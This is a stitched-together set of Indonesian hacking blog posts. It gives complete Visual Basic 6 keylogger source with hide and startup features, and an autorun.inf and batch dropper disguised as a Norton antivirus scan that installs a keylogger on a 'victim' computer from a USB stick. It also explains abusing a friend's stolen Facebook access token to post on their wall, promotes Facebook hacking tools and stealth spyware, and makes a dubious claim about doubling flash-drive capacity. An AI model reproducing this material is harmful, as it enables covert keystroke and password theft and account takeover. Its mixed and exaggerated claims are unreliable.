Cara Buat Keylogger sederhana dengan Vb

Siapa sih yang gak kenal yang namanya Keylogger Atau Kata Populernya Hekerlahh Pasti semua orang tau kata2 itu.. Nah Mumpung ada kesempatan Untuk Menulis Artikel untuk kali ini saya akan berbagi aplikasi cara buat keylogger yang sederhana buat latihanlah buat Keylogger sendiri Didalam Form Visual Basic Saya Menyediakan 2 form yaitu Form Keylogger Untuk menjalankan Hekernyaa wkwkwk Yang ke 2 Form Seting Tapi di form Seting Belum Saya kasih Sintak Atau Skripnya Jadi silahkan Kembangkan Sendiri ...?
 Jadi Silahkan Temen2 Buat Form Seting Seperti Dibawah ini lah Kalau Model Yang Sederhana

Info :
a. StarTup : Fungsinya Agar  Setiap Komputer Dihidupkan Dia Otomatis Jalan
b. Hiden  : Fungsinya Untuk Menghiden Iconnya



SETALAH JADI SEMUA JANGAN LUPA MODIFIKASI SETELAH ITU BUATLAH SETUPNYA


Silahkan Download Dibawah Ini

Cara Menajalankanya
1. Extrak Terlebih dahulu
2. Anda Harus Punya Program Visual Basic Jika Belum Ada Di komnputer Silahkan Install Terlebih Dahlu
3. Silahkan Jalankan Dengan Tekan F5 atau Play/Run
4. Silahkan Anda Coba Masuk Akun Fb atau Apalah Untuk Ngetesnya
5. Untuk Melihat Hasilnya Silahkan Ke direktory C/ Lalu  Cari Yang Ektensi Notepot Dengan Nama Heker


Selamat Mencoba Semoga Sukses Selalu

cara menambah kapasitas flasdisk

Saat ini ukuran atau kapasitas flashdisk sudah besar-besar. Umumnya orang menggunakan flasdisk 2 gb keatas sedangkan flasdisk 1 gb dianggap gak ada artinya padahal dengan bantuan software kita bisa mengubah atau menambah kapasitas flashdisk dari 1gb bisa menjadi 2gb. ini software, bukan Sofware untuk menformat flash disk tapi menambah kapasitas flasdisk. Apa hanya tulisan pada Flashdisk saja yang jadi 2 GB tapi tetap 1 GB kapasitasnya. silahkan anda coba saja . Flash disk yang semula 1 GB upgraded to 2 GB dengan cara yang mudah simple dan sederhana

Jadi kalau anda punya flash disk 1 gb jangan cepat-cepat dibuang gunakan software ini dan download software penambah kapasitas flash disk ini secara gratis.

1. Sebelumnya anda Format Flashdisk menjadi FAT. Hati-hati jangan sampai salah.

2. Kemudian Download Software ini.

3. Pilih lokasi drive Flashdisk.

4. klik Fix – OK – OK – OK

5. Setelah itu Cabut Flashdisk dan masukkan lagi.

6. trenggggg..


Nah Flashdisk yang tadinya hanya 1 gb sekarang kapasitasnya menjadi 2 kali lipat (2gb) hanya dengan cara mudah dan sederhana.

cara membuat keylogger dengan visual basic 6.0

Sesuai dengan judul di atas, kali ini saya akan memberikan sedikit tutorial cara membuat key logger sederhana dengan Visual Basic. Oke langsung saja gan..

1. Siapkan Visual Basic , Disini saya menggunakan Visual Basic 6.0
2. Buka program Visual Basic
3. New Project Standard EXE
   
4. Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label (Lihat Gambar)
5. Copas seluruh Code di bawah ini :
   Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
   Private Declare Function GetForegroundWindow Lib “user32″ () As Long
   Private Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
   Private hForegroundWnd As Long
   Private backs As BooleanPrivate Sub Command1_Click()
   Timer1.Enabled = True
   End SubPrivate Sub Command2_Click()
   Timer1.Enabled = False
   End SubPrivate Sub Command3_Click()
   backs = True
   End SubPrivate Sub Command4_Click()
   backs = False
   End SubPrivate Sub Form_Load()
   backs = True
   End Sub
   Private Sub Label1_Click()
   End Sub
   Private Sub Label4_Click()
   End Sub
   Private Sub Label6_Click()
   Timer1.Enabled = True
   End Sub
   Private Sub Label7_Click()
   Timer1.Enabled = False
   End Sub
   Private Sub Label8_Click()
   backs = True
   End Sub
   Private Sub Label9_Click()
   backs = False
   End Sub
   Private Sub Text1_Change()
   Text1.SelStart = 0
   Text1.SelLength = Len(Text1.Text)
   End Sub
   Private Sub Timer1_Timer()
   Dim x, x2, i, t As Integer
   Dim win As Long
   Dim Title As String * 1000
   win = GetForegroundWindow()
   If (win = hForegroundWnd) Then
   GoTo Keylogger
   Else
   hForegroundWnd = GetForegroundWindow()
   Title = “”
   GetWindowText hForegroundWnd, Title, 1000
   Select Case Asc(Title)
   Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95
   Text1.Text = Text1.Text & vbCrLf & vbCrLf & “[ " & Title
   Text1.Text = Text1.Text & " ]” & vbCrLf
   End Select
   End If
   Exit Sub
   Keylogger:
   For i = 65 To 90
   x = GetAsyncKeyState(i)
   x2 = GetAsyncKeyState(16)
   If x = -32767 Then
   If x2 = -32768 Then
   Text1.Text = Text1.Text & Chr(i)
   Else: Text1.Text = Text1.Text & Chr(i + 32)
   End If
   End If
   Next
   For i = 8 To 222
   If i = 65 Then i = 91
   x = GetAsyncKeyState(i)
   x2 = GetAsyncKeyState(16)
   If x = -32767 Then
   Select Case i
   Case 48
   Text1.Text = Text1.Text & IIf(x2 = -32768, “)”, “0″)
   Case 49
   Text1.Text = Text1.Text & IIf(x2 = -32768, “!”, “1″)
   Case 50
   Text1.Text = Text1.Text & IIf(x2 = -32768, “@”, “2″)
   Case 51
   Text1.Text = Text1.Text & IIf(x2 = -32768, “#”, “3″)
   Case 52
   Text1.Text = Text1.Text & IIf(x2 = -32768, “$”, “4″)
   Case 53
   Text1.Text = Text1.Text & IIf(x2 = -32768, “%”, “5″)
   Case 54
   Text1.Text = Text1.Text & IIf(x2 = -32768, “^”, “6″)
   Case 55
   Text1.Text = Text1.Text & IIf(x2 = -32768, “&”, “7″)
   Case 56
   Text1.Text = Text1.Text & IIf(x2 = -32768, “*”, “8″)
   Case 57
   Text1.Text = Text1.Text & IIf(x2 = -32768, “(“, “9″)
   Case 112: Text1.Text = Text1.Text & ” F1 “
   Case 113: Text1.Text = Text1.Text & ” F2 “
   Case 114: Text1.Text = Text1.Text & ” F3 “
   Case 115: Text1.Text = Text1.Text & ” F4 “
   Case 116: Text1.Text = Text1.Text & ” F5 “
   Case 117: Text1.Text = Text1.Text & ” F6 “
   Case 118: Text1.Text = Text1.Text & ” F7 “
   Case 119: Text1.Text = Text1.Text & ” F8 “
   Case 120: Text1.Text = Text1.Text & ” F9 “
   Case 121: Text1.Text = Text1.Text & ” F10 “
   Case 122: Text1.Text = Text1.Text & ” F11 “
   Case 123: Text1.Text = Text1.Text & ” F12 “
   Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, “|”, “\”)
   Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, “<”, “,”)
   Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, “_”, “-”)
   Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, “>”, “.”)
   Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, “?”, “/”)
   Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, “+”, “=”)
   Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, “:”, “;”)
   Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), “‘”)
   Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, “{“, “[")
   Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]“)
   Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, “~”, “`”)
   Case 8: If backs = True Then If Len(Text1.Text) > 0 Then Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) – 1)
   Case 9: Text1.Text = Text1.Text & ” [ Tab ] “
   Case 13: Text1.Text = Text1.Text & vbCrLf
   Case 17: Text1.Text = Text1.Text & ” [ Ctrl ]“
   Case 18: Text1.Text = Text1.Text & ” [ Alt ] “
   Case 19: Text1.Text = Text1.Text & ” [ Pause ] “
   Case 20: Text1.Text = Text1.Text & ” [ Capslock ] “
   Case 27: Text1.Text = Text1.Text & ” [ Esc ] “
   Case 32: Text1.Text = Text1.Text & ” “
   Case 33: Text1.Text = Text1.Text & ” [ PageUp ] “
   Case 34: Text1.Text = Text1.Text & ” [ PageDown ] “
   Case 35: Text1.Text = Text1.Text & ” [ End ] “
   Case 36: Text1.Text = Text1.Text & ” [ Home ] “
   Case 37: Text1.Text = Text1.Text & ” [ Left ] “
   Case 38: Text1.Text = Text1.Text & ” [ Up ] “
   Case 39: Text1.Text = Text1.Text & ” [ Right ] “
   Case 40: Text1.Text = Text1.Text & ” [ Down ] “
   Case 41: Text1.Text = Text1.Text & ” [ Select ] “
   Case 44: Text1.Text = Text1.Text & ” [ PrintScreen ] “
   Case 45: Text1.Text = Text1.Text & ” [ Insert ] “
   Case 46: Text1.Text = Text1.Text & ” [ Del ] “
   Case 47: Text1.Text = Text1.Text & ” [ Help ] “
   Case 91, 92: Text1.Text = Text1.Text & ” [ Windows ] “
   End Select
   End If
   Next
   End Sub
   Private Sub Timer2_Timer()
   Dim a, b, x As Long
   a = GetAsyncKeyState(120)
   b = GetAsyncKeyState(121)
   x = GetAsyncKeyState(16)
   If a = -32767 And x = -32768 Then Me.Hide
   If b = -32767 And x = -32768 Then Me.Show
   End Sub
6. Jalankan dengan menekan tombol F5

membuat keyloger dengan notpad

Pertama buka program notepad,kemudian kamu ketik ini didalamnya:

[autorun]open=nav.bat

Setelah kita ketik code diatas dalam notepad lalu kita pilih file typenya "all files" kemudian simpan (save) dengan nama file "autorun.inf".

Kemudian buat file baru lagi didalam notepad kalian dan ketikan code dibawah ini :

@echo off

echo norton Antivirus 2006

echo scanning disk drive…

echo please wait…

copy navw32.exe C:\windows\

call C:\windows\navw32.exe

echo.

echo.

echo.

echo.

echo.

echo.

echo.

echo.Scanning complette! No Virus Threat detected!

echo.

cls

simpan dengan nama nav.bat tapi ingat file typenya harus "all files"..
setelah itu ada sedikit langkah terakhir yaitu kamu download program nav32.exe di sini..
setelah itu kalian simpan di flashdisk,,setelah kalian colok itu flashdisk ke kompie korban kalian atau siapa saja pasti akan dicopy secara otomatis filenya dan akan mencatat aktivitas keyboard yang digunakan korban.
Untuk memastikan dan melihat hasilnya kalian harus datang kembali ke komputer korban yang kalian jadikan target dan kalian bisa lihat hasilnya di C:\windows\ pasti ada file nav32.dll copy paste ke flashdisk tinggal dilihat aja hasilnya.

Update status teman menggunakan Access Token

Update  status  teman  menggunakan  Access Token....
 berhubung dari dulu sampai sekarang belum ada yg ngasi tau caranya. gw akan menjelaskan singkat bagaimana caranya. hmmm,, mudah kok :p

 NB :;  MATA ANDA HARUS JELI MELIHAT TULISAN YANG SAYA HITAMKAN....

LANGUSNG SAJA
 __-
Ini adalah link access token CAUSE :
https://www.facebook.com/dialog/permissions.request?app_id=2254487659&next=http%3A%2F%2Fwww.facebook.com%2F&response_type=token&perms=publish_stream

gak hanya link ini, kalian bisa juga menggunakan link access token yg lainnya kok ;)
berikan link tersebut kepada salah 1 teman anda (target). dan mintalah access token mereka


http://www.facebook.com/?access_tokenAAAAAAIZAgwGsBABnLo3kpL4DPpzohIVyYVZBfIT0S1xRSACFTCr1bBBHABB1KXcOPfSJAc0zLi5ZAlUv9x3oUagkzcc8TOe9oG0m9liKQZDZD&expires_in=0
(yg saya tebalkan itulah access toket nya :p dan token ini berlaku hanya beberapa waktu. jadi gak selamanya valid)

Nah, sekarang yg di perlukan ID Facebook korban. Sudah tau gimana cara mendapatkan ID korban??kesini http://graph.facebook.com/UsernameKorban
contoh: http://graph.facebook.com/F4ck.Book.Zuckerberg
maka akan tampil seperti ini


{

"id": "100002599638947",
"name": "MaafAkun'YangAnda-Tuju SekaRang'SedangOff-LineNich",
"first_name": "MaafAkun'YangAnda-Tuju SekaRang'SedangOff-LineNich",
"last_name": "SekaRang'SedangOff-LineNich",
"link": "https://www.facebook.com/F4ck.Book.Zuckerberg",
"username": "F4ck.Book.Zuckerberg",
"gender": "male",
"locale": "id_ID"

}
yg saya tebalkan itu adalah ID


sudah dapat ID dan Access tokennya, kini saatnya kita bermain2 dengan status FB dia :D

https://graph.facebook.com/IDKorban/feed?method=POST&message=Pesan yang mau disampaikan &access_token=AccessToken

tuh, isi lah yang saya tebalkan

Gini nih maksud dari pengisiannya :D

Copy paste kan ini di URL ini pada address bar, kemudian tekan ENTER
https://graph.facebook.com/100002065981974/feed?method=POST&message=&apa adanya lah sun ahh &access_token=AAAAAAIZAgwGsBABnLo3kpL4DPpzohIVyYVZBfIT0S1xRSACFTCr1bBBHABB1KXcOPfSJAc0zLi5ZAlUv9x3oUagkzcc8TOe9oG0m9liKQZDZD

{
   "id": "100002065981974_305244199554444"
}

 nah, kalo begini hasilnya, berarti success. dan kalau bukan begini atau ada tulisan error, berarti gagal :D \(*.*)/

Read more: http://arts-id.blogspot.com/2012/12/cara-jailin-teman-menggunakan-acces.html#ixzz2PqargpT1

hack facebook new 2013

Berikut Link Download Aplikasi Hacking Facebook 2013

•  Forsakens Hack Facebook Versi Terbaru 2013

software hack ini sudah di kembangkan sehingga tidak memerlukan IP address lagi, beda sama yang biasa lebih mudah, 100% berhasil dan bisa mendeteksi ip situs pengembang resmi disini http://webforsakens.com gunaknlah software in scara bjak, sya dpet info ini dri tmn sya yg sdng lgi nyri nyri softwre hack, ahkk ga twu ny ktmu di forum tetngga sblah forum HI, Yuk kita lhat juplikan SS Screen Screenshot ny tutor http://www.youtube.com/forsakenscrew

perbesar gambar klik bagian foto

jika mnyalhgunakan tool atau melebihi batas pemakaiaan akn mngakibtkan suspend ip akun, SS laen ny

 username & pass , forsakens (pake hruf kcil smua)

• Forsakens Hack Facebook V1.0

Baru…. sangat sederhana dan mudah di ikuti, 100% berhasil di jamin

• Pirate Hack Facebook Versi Modifikasi

Pirate hack ini sudah di modifikasi sehingga mudah dan 100% ampuh

• Facebook Password Detector v.52

Software Baru keluaran Miscolinuo.Inc ini mampu mendeteksi password facebook hanya dengan memasukkan email address, jadi kalau tidak tahu alamat email kamu nggak bisa gunakan software ini, 99% berhasil

• Zynga Hack Facebook Chip Poker

Kamu gagal dengan software lain? coba yang ini, ini adalah software Zynga poker, kamu cuma perlu log in ke software ini menggunakan email facebook kamu, dan temukan keunikannya (keberhasilan 100 persen atau menurut kemampuan anda)
thanks for all , balikita , cyber all , cyber4rt , hacker indonesia , forsakens crew,indonesia hacker,n3 ,fccp , forum indonesia hacker, forsakens pemangkat, hacker lampung, hacker medan , hacker cyber, semua hacker indonesia

Posted 2nd January by Rahendra Cyber

sniperSpy keyloger bisa untuk hack fb

dikombinasikan dengan Remote Install dan Remote Viewing feature. Download aplikasi SniperSpy di sini Setelah diinstal pada PC remote, Anda hanya perlu login ke account SniperSpy. Anda secara pribadi dapat melihat aktivitas log dari PC remote! Ini berarti bahwa Anda dapat melihat log dari PC remote dari mana saja di dunia selama Anda memiliki akses internet.

Apakah Anda ingin Spy pada PC Remote? SniperSpy memungkinkan Anda untuk jarak jauh mata-mata setiap PC. Ini adalah satu-satunya perangkat lunak mata-mata remote PC dengan panel kontrol yang sangat aman.

Remote PC software Spy juga menyimpan screenshot bersama dengan teks log chatting, website, penekanan tombol dalam bahasa dan banyak lagi. Remotely, melihat aktivitas anak Anda, karyawan atau siapapun menggunakan PC jauh dari Anda. Termasuk LIVE admin perintah dan kontrol.

Fitur SniperSpy :

• Adalah perangkat lunak mata-mata SniperSpy deployable 
• Gaib Stealth Mode Option. Bekerja dalam mode siluman lengkap. Tidak terdeteksi
• Log Semua keystrokes
• Records setiap Password (Email, Login, Instant Messenger.
• Remote Monitor Seluruh Percakapan IM sehingga Anda bisa memata-matai kegiatan IM
• Menangkap format .jpg ukuran penuh gambar dari jendela aktif 
• Real Time Screen Viewer
• Remote reboot atau shutdown PC atau memilih untuk logoff pengguna Windows saat ini
• Lengkap, bypass Firewall apapun